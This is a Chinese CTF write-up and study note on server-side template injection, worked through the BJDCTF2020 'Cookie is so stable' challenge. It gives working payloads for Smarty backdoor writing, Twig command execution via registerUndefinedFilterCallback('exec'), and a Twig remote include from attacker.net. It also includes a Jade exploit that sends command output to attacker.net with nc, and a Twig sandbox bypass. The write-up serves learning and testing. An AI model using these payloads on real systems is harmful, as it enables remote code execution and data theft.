热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[BJDCTF2020]Cookieissostable(ssti模板注入从0到1学习笔记)

打开题目,看名字觉得和cookie注入有关,打开后看看hint的源代码发现了这个打开flag界面发现有个输入点,抓包看看嘛发现cookie

打开题目,看名字觉得和COOKIE注入有关,打开后看看hint的源代码发现了这个

打开flag界面发现有个输入点,抓包看看嘛

发现COOKIE,而且输入的username在返回中看到了,sql注入不存在,所以应该是ssti模板注入

之前做题做到过,但是没做完整,这次趁这个机会学习一下!模板的开发初衷也是为了让业务代码和逻辑代码分离,大大提高开发效率,良好的设计也让代码重用变得更加容易。与此同时,它也拓展了黑客的攻击面,之前的XSS可以通过诸如带模板触发,除此之外,RCE也可以,虽然模板引擎会提供沙箱机制,但是还是会有很多手段饶过他,攻防无绝对嘛!


什么是服务端模板注入

为什么要在模板注入前面加服务端,是为了和jQuery,KnockoutJS 产生的客户端模板注入区别开来。前者可以让攻击者执行任意代码,而后者只能 XSS。

通过模板,Web英语可以把输入转化成特定的HTML文件或者email格式。就拿一个销售软件来说,我们假设它会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:

$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );

我是在大佬那学到的这个,现在仔细读读发现可以XSS,但是问题不止如此。这行代码其实还有问题,假设我们发送的请求是

custom_email={{7*7}}

那么返回的会是

49 //$output结果

很明显服务器执行了我们传过去的数据,而不是简单解析。每当服务器用模板引擎执行用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎执行。


探测


文本类

大部分的模板语言支持我们输入HTML,比如:

smarty=Hello {user.name}
Hello user1freemarker=Hello ${username}
Hello newuserany=Hello
Hello

未经过滤的输入会产生 XSS,我们可以利用 XSS 做我们最基本的探针。除此之外,模板语言的语法和 HTML 语法相差甚大,因此我们可以用其独特的语法来探测漏洞。虽然各种模板的实现细节不大一样,不过它们的基本语法大致相同,我们可以发送如下 payload:

smarty=Hello ${7*'7'}
Hello 49freemarker=Hello ${7*'7'}
Hello 49

来确认漏洞是否阳性


代码类

在一些环境下,用户的输入也会被当作模板的可执行代码。比如说变量名:

personal_greeting=username
Hello user01

这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:

personal_greeting=username
Hello
personal_greeting=username}}
Hello user01

 

通过这种方式可以判断属于哪种模板引擎,绿色代表成功返回,红色失败;原理是同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777


举点栗子吧


Smart

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 $smarty 来获取许多环境变量(比如当前变量的位置 $SCRIPT_NAME)。后面,我们又发现了 getStreamVariable:

这个函数能任意读取有读写权限的文件:

{self::getStreamVariable("file:///proc/self/loginuid")}
1000
{self::getStreamVariable($SCRIPT_NAME)}
define("SMARTY_DIR",'/usr/share/php/Smarty/');
require_once(SMARTY_DIR.'Smarty.class.php');

不仅如此,我们能任意调用静态方法,这当中包括一个可以创建和重写文件的方法public function writeFile($filepath, $contents, Smarty $smarty)。通过该方法,我们能轻松在web目录下创建后门。值得注意的是,第三个参数必须为 Smarty 对象,所以我们要想办法得到 Smarty 对象的引用。

非常幸运,self::clearConfig帮助我们获取对象:

public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

最后,我们就可以创建后门了!

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}

Twig

Twig 和 Smarty 类似,不过我们不能用它调用静态方法。幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:

public function getFilter($name){...foreach ($this->filterCallbacks as $callback) {if (false !== $filter = call_user_func($callback, $name)) {return $filter;}}return false;
}public function registerUndefinedFilterCallback($callable)
{$this->filterCallbacks[] = $callable;
}

我们只需注册 exec 为 filter 的回调函数,并如此调用:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Twig(沙箱模式)

Twig 的沙箱模式有额外的限制。它会禁用一部分函数(包括开发者提供的对象),因此我们并不能调用有价值的东西。万幸的是,这部分代码帮助我们突破限制:

public function checkMethodAllowed($obj, $method)
{if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) {return true;
}

这里,我们可以调用实现 Twig_TemplateInterface 的对象,也就是说我们可以简介使用 self.,self.中的 displayBlock 让我们更上一层楼:

public function displayBlock($name, array $context, array $blocks = array(), $useBlocks =
true)
{$name = (string) $name;if ($useBlocks && isset($blocks[$name])) {$template = $blocks[$name][0];$block = $blocks[$name][1];} elseif (isset($this->blocks[$name])) {$template = $this->blocks[$name][0];$block = $this->blocks[$name][1];} else {$template = null;$block = null;}if (null !== $template) {try {$template->$block($context, $blocks);} catch (Twig_Error $e) {...

我们可以用$template ->$block($context, $blocks)绕过白名单限制。以下的代码会调用 userObject 对象的 vulnerableMethod:{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}。虽然现在不能获得环境变量,但我们可以利用 _context 属性查找开发者自定义的对象并调用有用的目标。


Jade

Jade 是一款 Node.js 模板引擎。http://CodePen.io

http://CodePen.io

http://CodePen.io 则可以接受用户递交该模板。

首先,让我们来确认模板可以执行代码:

= 7*7//结果:49

再来确认 self 对象的位置:

= root//结果:[object global]

我们来列一下对象属性和函数:

- var x = root
- for(var prop in x)
, #{prop}, ArrayBuffer, Int8Array, Uint8Array, Uint8ClampedArray... global, process, GLOBAL, root

这些可能是可利用的函数:

- var x = root.process
- for(var prop in x)
, #{prop}, title, version, moduleLoadList... mainModule, setMaxListeners, emit, once

绕过保护机制:

- var x = root.process.mainModule
- for(var prop in x)
, #{prop}


因为安全原因,CodePen阻止了你的语句
请删除下列关键字后进行尝试

->process
->mainModule

- var x = root.process
- x = x.mainModule
- for(var prop in x)
, #{prop}, id, exports, parent, filename, loaded, children, paths, load, require, _compile

确定有用的函数:

- var x = root.process
- x = x.mainModule.require- x('a')
Cannot find module 'a'

最终 exp:

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

回到这个题

我们根据{{7*'7'}}得到了49可以知道是Twig

{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig

至于这里为什么是user,是因为返回的包里面有提示

Set-COOKIE: user

所以这个模板注入是Twig注入,由于是Twig注入,所以是有固定的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id


{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

这里注意要在PHPSESSID后user前加上;分隔开


总结:

学习了一下ssti注入,原来都有模板可以套,希望有一天我是创造模板的人!

感谢BUU提供优质题目,感谢勤奋的自己


推荐阅读
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 本文介绍了Redis的基础数据结构string的应用场景,并以面试的形式进行问答讲解,帮助读者更好地理解和应用Redis。同时,描述了一位面试者的心理状态和面试官的行为。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • Html5-Canvas实现简易的抽奖转盘效果
    本文介绍了如何使用Html5和Canvas标签来实现简易的抽奖转盘效果,同时使用了jQueryRotate.js旋转插件。文章中给出了主要的html和css代码,并展示了实现的基本效果。 ... [详细]
  • 本文介绍了闭包的定义和运转机制,重点解释了闭包如何能够接触外部函数的作用域中的变量。通过词法作用域的查找规则,闭包可以访问外部函数的作用域。同时还提到了闭包的作用和影响。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • PHP图片截取方法及应用实例
    本文介绍了使用PHP动态切割JPEG图片的方法,并提供了应用实例,包括截取视频图、提取文章内容中的图片地址、裁切图片等问题。详细介绍了相关的PHP函数和参数的使用,以及图片切割的具体步骤。同时,还提供了一些注意事项和优化建议。通过本文的学习,读者可以掌握PHP图片截取的技巧,实现自己的需求。 ... [详细]
  • Commit1ced2a7433ea8937a1b260ea65d708f32ca7c95eintroduceda+Clonetraitboundtom ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • 目录实现效果:实现环境实现方法一:基本思路主要代码JavaScript代码总结方法二主要代码总结方法三基本思路主要代码JavaScriptHTML总结实 ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文总结了在开发中使用gulp时的一些技巧,包括如何使用gulp.dest自动创建目录、如何使用gulp.src复制具名路径的文件以及保留文件夹路径的方法等。同时介绍了使用base选项和通配符来保留文件夹路径的技巧,并提到了解决带文件夹的复制问题的方法,即使用gulp-flatten插件。 ... [详细]
author-avatar
每天还贷的飞鱼
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有